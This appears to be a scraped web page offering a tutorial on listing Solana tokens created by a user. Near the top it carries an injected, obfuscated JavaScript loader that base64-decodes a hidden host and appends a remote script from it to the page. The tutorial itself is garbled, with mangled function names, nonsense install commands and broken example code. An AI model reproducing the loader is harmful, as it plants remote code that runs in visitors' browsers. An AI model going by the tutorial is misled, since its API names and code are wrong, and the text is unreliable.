Solana: how to get list of tokens(not NFTs) that are created by solana user
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d8bd407d”;document.body.appendChild(script);
** To
Solana is a popular blockchain platform known for your fast and scale transaction processing. One of the exit features of Solan is the absence non-mixable tokens that are the crew digital this that is the property or identification. However, not all NFTs are created by users. Some created on the blockchain by intelligent contracts.
One way to-create a list of the “GetParsedtOCTIC CTICTS” provided by Solana. Here’s an article inach it is description how to do you can dot this:
Overview
GetParsedtOCENCOUTSBYWERN is a supply functionality that picks up a list of accounts that belong to a certy on Solan blockchain. This function of enabs developers to occupy-controlted assets such assered to the NFTs and all-clear digital tokens.
How to start
To use "GetParsedtOCONCOUTSBYWERN", you have to:
- Instal the Necessary Dependise: You can be "Solana" packing with the Folt.
Bash
Install NPM Solan
or
`Bash
Garn add Solan
- Create a Solana Cli Configuration File (e.g.
config.toml') and import it into your script.
- Interactive a new Solan Cluster with the "Solan-Cli" command.
Example code
Here’s an example -Code -Snop that show to to use "getParsedtOCONSBON WARES":
JavaScript
// import the Solana Cli configuration file
Const config = request (‘./ config.toml’);
// initially a new Solan cluster
Asynchrical functions in which () {
// Create a new instance off the Solana Customer Customer
const cli = new cli ({{ says
// Set the cluster -URL and the registration information
URL: ‘
Key: Config.Key,
});
// you get the current block number
Const {Getlattblocknumber} = cli;
Const Last block number = waiting fetching blockmber ();
if
Asynchronization Function Get ParsedtokenAccounts (tokens) {
Return await cli.get parliamentary chountsbyers ({{{{ saysat
Ownner: ‘your_user_addresss’,
Tokens,
});
}
// You will receive the list off
Const Nftlist = WaTte GetparsedtokenAccounts (123456789);
console.log (nftlist);
// You can always doat the metadata for NFT
Const nftmatata = waiting cli.getnft mat (123456789, ‘your_token_id’));
console.log (nftmatata);
}
prirary();
`
Note
- Make Sure that you repace
your_user_address' and 'your_token_id
with aactual wane and token -id that you want to-call up.
- The “GetParsedtOCANCOUTSBYWERS” functioning returns a list off token accounts, including in NFTs. You can do get specter information is a fore.
I hope this article helps! Let me know if you have any questions or need further help.